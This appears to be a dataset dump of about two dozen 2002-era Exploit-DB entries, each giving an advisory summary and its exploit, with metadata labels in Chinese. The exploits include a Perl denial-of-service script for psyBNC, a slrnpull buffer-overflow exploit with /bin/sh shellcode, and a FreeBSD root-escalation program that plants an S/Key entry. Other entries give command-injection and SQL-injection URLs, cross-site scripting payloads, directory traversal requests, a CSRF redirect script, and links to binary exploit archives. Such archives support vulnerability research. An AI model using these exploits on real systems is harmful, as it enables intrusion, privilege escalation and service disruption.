QLWD/code_shield huggingface dataset:
标题: psyBNC 2.3 - Oversized Passwords Denial of Service EDB-ID: 21409 CVE: 2002-0741 类型: DOS 平台: UNIX 发布日期: 2002-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4570/info

PsyBNC is a freely available, open source IRC bouncing server. It is available for the UNIX and Linux operating systems.

Under some circumstances, it is possible for a remote user to crash a vulnerable server. Upon connection to a vulnerable system, if a user sends a password of 9000 or more characters, and disconnects from the system, the server process does not die. Instead, the process continues to live and consume a large amount of resources.


#!/usr/bin/perl
#PsyBNC 2.3 Remote DDOS POC
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY

use Getopt::Std;
use IO::Socket;
$|=1;


my %options;
getopt('Hhp',\%options);
$arg2 = shift(@ARGV);
$options{h} && usage();
if ($options{H})
{
do_psy();
}
if ($options{p})
{
do_psy();
}
else
{
usage();
}
sub usage()
{
    print("[L33TSECURITY]  PsyBNC 2.3 Remote DDOS\n");
    print(" (C) DVDMAN \n\n");
    print("Usage: $0 [options]\n");
    print("-H = hostname or ip REQUIRED\n");
    print("-p = port of PSYBNC server REQUIRED\n");
}
  
exit(1);

 

sub do_psy() {
my $test = $options{H};
my $test2 = $options{p};

    $remote = IO::Socket::INET->new(
                        Proto     => "tcp",
                                PeerAddr  => $test,
                                PeerPort  => $test2,
        );
    unless ($remote) {
           print"error cannot connect";
           return
        }
    $remote->autoflush(1);


print STDERR "PsyBNC REMOTE DDOS BY DVDMAN\n";
print STDERR " starting attack in 5 seconds...\n";
sleep(5);

my $user = "USER OWNED OWNED OWNED OWNED OWNED\r\n";
my $nick = "NICK OWNED\r\n";
my $pw = "PASS " . "A"x10000;

print $remote $user;
print $remote $nick;
print $remote $pw;
print STDERR "DONE\n"; 
die "BYE\n";
}





#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY URL: https://www.exploit-db.com/exploits/21409
标题: SLRNPull 0.9.6 - Spool Directory Command Line Parameter Buffer Overflow EDB-ID: 21408 CVE: 2002-0740 类型: LOCAL 平台: UNIX 发布日期: 2002-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4569/info

N is a freely available, open source news reading utility. It is developed and maintained by the SLRN project, and designed for use on various operating systems. This problem affects the UNIX and Linux implementation.

Due to a boundary condition error, a buffer overflow condition exists in spool directory names. This problem affects the slrnpull program, included as part of the slrn package. When slrnpull is executed with the -d flag, and a file name of greater than 4091 bytes, the overflow makes it possible to overwrite process memory, including the return address.

#!/bin/sh
echo DEFANGED.5
exit
#!/usr/bin/perl
#
# Credits for the vulnerability: Alex Hernandez (its setgid news not root)
# The exploit was written by:    zillion@snosoft.com / safemode.org
# http://www.safemode.org 
# http://www.snosoft.com
#
# Gain setgid news on a Red Hat 6.2 Intel box

$shellcode = 
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46".
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1".
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

$offset  = "-500"; 
$esp     = 0xbfffe2cc;

for ($i = 0; $i < (2041 - (length($shellcode)) - 4); $i++) {
    $buffer .= "\x90";
}

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset)); 

print("The new return address: 0x", sprintf('%lx',($esp + $offset)), "\n");

exec("/usr/bin/slrnpull -d '$buffer'"); URL: https://www.exploit-db.com/exploits/21408
标题: CGIScript.net - csMailto Hidden Form Field Remote Command Execution EDB-ID: 21415 CVE: 2002-0749 类型: REMOTE 平台: CGI 发布日期: 2002-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/4579/info

CGIScript.NET csMailto is a Perl script designed to support multiple mailto: forms. A vulnerability has been reported in some versions of this script.

Reportedly, configuration values used by the script are contained in hidden form values. As a result, a remote attacker may trivially modify these values between script invocations. Consequences include arbitrary command execution on the vulnerable system.

- execute commands on server

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&command=mailform

- execute command on server and mail output to anyone

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&Email=user@host.com&form-autoresponse=YES&command=mailform

- email server file to anyone

CSMailto.cgi?form-attachment=FILEPATH_HERE&Email=user@host.com&form-autoresponse=YES&command=mailform URL: https://www.exploit-db.com/exploits/21415
标题: vqServer 1.9.x - CGI Demo Program Script Injection EDB-ID: 21411 CVE: 2002-0731 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/4573/info

vqServer is a HTTP server implemented in Java. vqServer is available on any architecture supporting Java, including Linux and Microsoft Windows.

Reportedly, numerous default CGI scripts included with vqServer suffer from script injection issues, including cross site scripting and the ability to inject script code into cookie content.

http://localhost/cgi/vq/demos/respond.pl<SCRIPT>alert("I%20should%20not%20be%20able%20to%20do%20this!!!")</SCRIPT> URL: https://www.exploit-db.com/exploits/21411
标题: Philip Chinery's Guestbook 1.1 - Script Injection EDB-ID: 21406 CVE: 2002-0730 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/4566/info

Philip Chinery's Guestbook is freely available guestbook software. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Philip Chinery's Guestbook does not filter script code from form fields. As a result, it is possible for an attacker to inject script code into pages that are generated by the guestbook. Additionally, script code is not filitered from URL parameters, making the guestbook prone to cross-site scripting attacks.

This issue has been reported for Philip Chinery's Guestbook version 1.1. Other versions may also be affected.

http://[target]/cgi-bin/guestbook.pl?action=sign&cwrite=none&Name=<script>alert("gotcha!");</script>&EMail=example@example.com&Text=css%20exam
ple URL: https://www.exploit-db.com/exploits/21406
标题: Jon Howell Faq-O-Matic 2.7 - Cross-Site Scripting EDB-ID: 21405 CVE: 2002-2011 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/4565/info

Faq-O-Matic 2.711 and 2.712 is a web-based Frequently Asked Question (FAQ) management system. It is vulnerable to a cross site scripting issue arising from a failure to filter HTML or script from a malformed query, returning the submitted script as an error message which is then processed by the browser. This is done by submitting the script as an argument to the Faq-O-Matic component "fom.cgi" - specifically, to the "file" parameter. This script is then treated by the user's browser as though it originated from the Faq-O-Matic web site.

http://www.wherever.tld/path_to_Faq-O-Matic/fom?file=<script>alert('If+this+script+was+modified,+it+could+easily+steal+amigadev.net+cookies+and+log+them+to+a+remote+location')</script>&step URL: https://www.exploit-db.com/exploits/21405
标题: Apple Mac OSX 10.x / FreeBSD 4.x / OpenBSD 2.x / Solaris 2.5/2.6/7.0/8 - 'exec C Library' Standard I/O File Descriptor Closure EDB-ID: 21407 CVE: 2002-0572 类型: LOCAL 平台: BSD 发布日期: 2002-04-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4568/info

It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'. 

This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.
*/

/*
  phased/b10z
  phased@snosoft.com
  23/04/2002

  stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
  decided to make a trivial exploit to easily get root :)

  > id
  uid=1003(phased) gid=999(phased) groups=999(phased)
  > ./iosmash
  Adding phased:
  <--- HIT CTRL-C ---> 
  > su
  s/key 98 snosoft2
  Password:MASS OAT ROLL TOOL AGO CAM
  xes# 

  this program makes the following skeys valid

  95: CARE LIVE CARD LOFT CHIC HILL
  96: TESS OIL WELD DUD MUTE KIT
  97: DADE BED DRY JAW GRAB NOV
  98: MASS OAT ROLL TOOL AGO CAM
  99: DARK LEW JOLT JIVE MOS WHO

  http://www.snosoft.com
  cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
        while(dup(1) != -1);
        close(2);
        execl("/usr/bin/keyinit",
        "\nroot 0099 snosoft2   6f648e8bd0e2988a     Apr 23,2666 01:02:03\n");
} URL: https://www.exploit-db.com/exploits/21407
标题: IcrediBB 1.1 - Script Injection EDB-ID: 21399 CVE: 2002-0590 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4548/info

IcrediBB is freely available web forum software. It is written in PHP and will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

IcrediBB does not adequately filter script code from forum message form fields. This may enable an attacker to inject malicious script code into forum messages.

An attacker who exploits this may be able to hijack web content or steal cookie-based authentication credentials. 

Post a message with the following text in the subject or message body:

<script>alert('Cross Site Scripting possible');</script> URL: https://www.exploit-db.com/exploits/21399
标题: PVote 1.0/1.5 - Poll Content Manipulation EDB-ID: 21391 CVE: 2002-0588 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/4540/info

PVote is a web voting system written in PHP. It will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

It is possible for a remote attacker to add/delete web polls just by manipulating the values of URL parameters. 

ADD A POLL:

http://target/pvote/add.php?question=AmIgAy&o1=yes&o2=yeah&o3=well..yeah&o4
=bad

where question refers to the topic of the topic to be added by the attack.

DELETE A POLL:

http://target/pvote/del.php?pollorder=1

where pollorder is the poll 'id' number for the poll to be deleted. URL: https://www.exploit-db.com/exploits/21391
标题: PostBoard 2.0 - BBCode IMG Tag Script Injection EDB-ID: 21401 CVE: 2002-0535 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4559/info

PostBoard is a freely available, open source message board module for the PostNuke content management system. It is designed for use on the Unix and Linux operating systems.

PostBoard does not sanitize code submitted to site between IMG tags. Due to this, a malicious user may be able to submit a post to the site with script code between two IMG tags. 

The following code is proof of concept:

[IMG]javascript:alert('give me cookies');[/IMG] URL: https://www.exploit-db.com/exploits/21401
标题: PostBoard 2.0 - Topic Title Script Execution EDB-ID: 21403 CVE: 2002-0535 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4561/info

PostBoard is a freely available, open source message board module for the PostNuke content management system. It is designed for use on the Unix and Linux operating systems.

PostBoard does not adequately sanitize input by board users. Because of this, it is possible for users of the board to insert script code in message titles.

The following code is proof of concept:

<script>alert('give me cookies');</script> URL: https://www.exploit-db.com/exploits/21403
标题: Microsoft Internet Explorer 5/6 - Self-Referential Object Denial of Service EDB-ID: 21404 CVE: 2002-1714 类型: DOS 平台: WINDOWS 发布日期: 2002-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/4564/info

Microsoft Internet Explorer is vulnerable to a denial of service due to an error in handling certain self-referential <OBJECT> definitions in HTML documents. This occurs when an object of type "text/html" is specified, with the DATA field referencing the name of the HTML document in which it is defined. Other circumstances may also trigger this condition.

Create a file named "CRASH.HTM" with the following line in it:

<OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT>

The following example was also submitted by Ryan Emerle:

<object id="test"
data="#"
width="100%" height="100%"
type="text/x-scriptlet"
VIEWASTEXT></object> URL: https://www.exploit-db.com/exploits/21404
标题: SSH2 3.0 - Restricted Shell Escape (Command Execution) EDB-ID: 21398 CVE: 2002-1715 类型: LOCAL 平台: LINUX 发布日期: 2002-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/4547/info

SSH (and derivatives) is the protocol Secure Shell protocol implementation. It is available for various operating systems, although this vulnerability affects operating systems such as Unix and Linux.

It has been reported that it is possible for a remote user to upload files to world-writeable directories, and execute commands from world-writeable directories. In doing so, a user may be able to upload a script, and execute the script to gain access to a regular shell on the system. This would allow the user unrestricted, but unprivileged access.

After uploading 'malicious' to /tmp:

ssh -l user host '/tmp/malicious' URL: https://www.exploit-db.com/exploits/21398
标题: OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow EDB-ID: 21402 CVE: 2002-0575 类型: REMOTE 平台: LINUX 发布日期: 2002-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4560/info

A buffer overflow condition exists in the OpenSSH server. The condition is exploitable by attackers with valid user credentials in versions 2.9.9 and higher. Exploitation does not require valid user credentials in versions prior to 2.9.9.

The vulnerability is related to the handling of Kerberos 4 TGT/AFS tokens passed by the client. An unbounded string copy operation may result in a stack overflow if the TGT/token data is malformed. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21402.tar URL: https://www.exploit-db.com/exploits/21402
标题: PVote 1.0/1.5 - Unauthorized Administrative Password Change EDB-ID: 21397 CVE: 2002-0589 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/4541/info

PVote is a web voting system written in PHP. It will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

It is possible to change the administrative password by submitting a malicious web request containing the appropriate values for the URL parameters. No authentication credentials are required. 

http://target/pvote/ch_info.php?newpass=password&confirm=password

where password is the attacker-supplied value for the new administrative password. URL: https://www.exploit-db.com/exploits/21397
标题: Snitz Forums 2000 3.x - 'members.asp' SQL Injection EDB-ID: 21400 CVE: 2002-0607 类型: WEBAPPS 平台: ASP 发布日期: 2002-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4558/info

Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems. Snitz is back-ended by a database and supports Microsoft Access 97/2000, SQL Server 6.5/7.0/2000 and MySQL.

It is possible for a remote attacker to inject SQL into queries made by the members.asp script.

Depending on the database implementation used, this may possibly result in sensitive information information in the database being disclosed or may enable the attacker to modify data. There is also the possibility that this issue may be leveraged to exploit vulnerabilities that may exist in the underlying database. 

Normally, to view the members' list whose
membername start with 'A', members.asp page is
used as the following:

/members.asp?
mode=search&M_NAME=A&initial=1&method=


Use this link to view the vulnerability:

/members.asp?mode=search&M_NAME=XXXX%
25')%20UNION%20SELECT%20MEMBER_ID,%
20M_STATUS,%20M_NAME%20%2B%20'/'%20%
2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,% URL: https://www.exploit-db.com/exploits/21400
标题: Sambar Server 5.1 - Script Source Disclosure EDB-ID: 21390 CVE: 2002-0737 类型: REMOTE 平台: CGI 发布日期: 2002-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4533/info

An issue has been discovered in Sambar Server, which could allow a user to reveal the source code of script files.

Submitting a request for a known script file along with a space and null character (%00), will successfully bypass the serverside URL parsing. 

http://server/cgi-bin/environ.pl+%00 URL: https://www.exploit-db.com/exploits/21390
标题: Microsoft Windows Server 2000 - Lanman Denial of Service (2) EDB-ID: 21389 CVE: 2002-0597 类型: DOS 平台: WINDOWS 发布日期: 2003-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4532/info
 
An issue has been discovered in Windows 2000, which could cause a denial of system services.
 
Submitting malformed data to port 445 could cause the Lanman service to consume high CPU and Kernel mode memory usage.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21389.tar.gz URL: https://www.exploit-db.com/exploits/21389
标题: Demarc PureSecure 1.0.5 - Authentication Check SQL Injection EDB-ID: 21384 CVE: 2002-0539 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4520/info

Demarc PureSecure is a commercially available graphical front-end for Snort, in addition to being a generalized network monitoring solution. Snort is an open-source NIDS (Network Intrusion Detection System). Demarc PureSecure will run on most Linux and Unix variants, as well as Microsoft Windows NT/2000/XP operating systems.

A vulnerability has been reported in some versions of PureSecure. User supplied input is used to construct a SQL statement, allowing SQL injection attacks. Administrative access may be gained through exploitation of this flaw.

curl -b s_key=\'%20OR%20current_session_id%20like%20\'%\'%23 https://<lame host>/dm/demarc URL: https://www.exploit-db.com/exploits/21384
标题: Microsoft IIS 5.0 - 'CodeBrws.asp' Source Code Disclosure EDB-ID: 21385 CVE: 2002-1744 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/4525/info

Microsoft IIS 5.0 ships with a sample script that may be used to view the source code of other scripts in the sample scripts (/IISSAMPLES) directory. However, this script (CodeBrws.asp) does not adequately filter unicode representations of directory traversals. For example, an attacker can break out of the sample script directory by substituting '%c0%ae%c0%ae' for '..' in a dot-dot-slash directory traversal attack.

It has been demonstrated that this issue may be exploited to map out the directory structure of the filesystem on a host running the vulnerable script.

http://target/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp

The following example was also provided to demonstrate that the directory structure may be mapped out using this vulnerability:

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp

Response: Microsoft VBScript runtime (0x800A004C) Path not found

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp

Response: Microsoft VBScript runtime (0x800A0035) File not found URL: https://www.exploit-db.com/exploits/21385
标题: Nortel CVX 1800 Multi-Service Access Switch - Default SNMP Community EDB-ID: 21378 CVE: 2002-0540 类型: REMOTE 平台: HARDWARE 发布日期: 2002-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4507/info

Nortel CVX 1800 Multi-Service Access Switch is a hardware modem bank.

The device contains a default SNMP community string of "public", which may allow enable a remote attacker to gain access to sensitive information such as authentication credentials for local accounts on the device, network infrastructure info, etc. 

The following example was provided:

snmpwalk CVX-IP-ADD-RESS public .1 URL: https://www.exploit-db.com/exploits/21378
标题: AOL Instant Messenger 4.x - Arbitrary File Creation EDB-ID: 21386 CVE: 2002-0591 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4526/info

An issue has been reported, which could allow an AIM user to save files to arbitrary locations.

Reportedly, this is achievable when a direct connection is made between two AIM users. Files that are sent to a user include an img tag and a data tag. Upon a file being sent, the recipient's client will automatically execute the file accordingly. When the client executes the file, a file is created in the Windows temp directory and is read directly from there.

It is possible for a user to modify the file in such a way that the file will be created in a specific target directory. This is accomplished by including '..\' character sequences in the SRC parameter of the img tag. In addition, the img tag can also be modified so the icon does not appear in the recipient's client.

As a result, files may be saved to an arbitrary directory on an unknowing recipient's system. This may assist in leveraging further attacks against the user. 

<HTML><BODY>Hey, what's up?<IMG
SRC="\..\system\johnny.important_file" HEIGHT="0"
WIDTH="0" DATASIZE="50"
ID="1"></BODY></HTML><BINARY><DATA
ID=1">***WAVE FILE DATA
HERE***</DATA></BINARY>

However, injection into the AIM communication stream may require additional work as the protocol includes some overhead such as sequence numbers for messages. URL: https://www.exploit-db.com/exploits/21386
标题: WebTrends Reporting Center for Windows 4.0 d - GET Buffer Overflow EDB-ID: 21387 CVE: 2002-0595 类型: DOS 平台: WINDOWS 发布日期: 2002-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4531/info

WebTrends Reporting Center is used to organize and present usage information for multiple server web environments. Reporting Center is available for Windows NT and 2000, Linux and Solaris.

An issue has been reported in WebTrends Reporting Center for Windows. An authenticated user of the system may be able to exploit a buffer overflow condition by submitting an oversized GET request. Exploitation may result in the execution of arbitrary code with SYSTEM privileges, or in a denial of service attack. 

http://targetmachine:1099/reports/(Long Char String) URL: https://www.exploit-db.com/exploits/21387
标题: Burning Board 1.1.1 - 'URL' Manipulation EDB-ID: 21380 CVE: 2002-2021 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4512/info

Burning Board is web forum software. It is written in PHP, back-ended by MySQL, and will run on most Unix and Linux variants as well as Microsoft Windows.

An attacker may allegedly create a malicious link which is capable of causing actions to be performed on the behalf of a legitimate Burning Board user who visits the link. To exploit this vulnerability, the attacker must manipulate URL parameters in the malicious link in such a way as to cause the desired actions to be performed by a user who visits the link. The legitimate forum user must also be authenticated via a cookie-based authentication credential. The malicious link may include BBCode.

It has been reported, but not confirmed, that other web forum software (such as phpBB) may also be affected by this vulnerability. 

1. Create a script exploit.php

exploit.php // with php U can dynamicaly redirect to the same treads & boardid (parsing $HTTP_REFERER)
<?php
header ("Location:
http://localhost/wbboard/reply.php?threadid=7&boardid=58&action=send&subject=check%20this%20out&message=test[IMG]http://localhost/~seazon/art/
eros/236.jpg[/IMG]&signature=1"); /* Redirect browser*/
?>


2.Register in forum
3.Send a message like this
"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]" URL: https://www.exploit-db.com/exploits/21380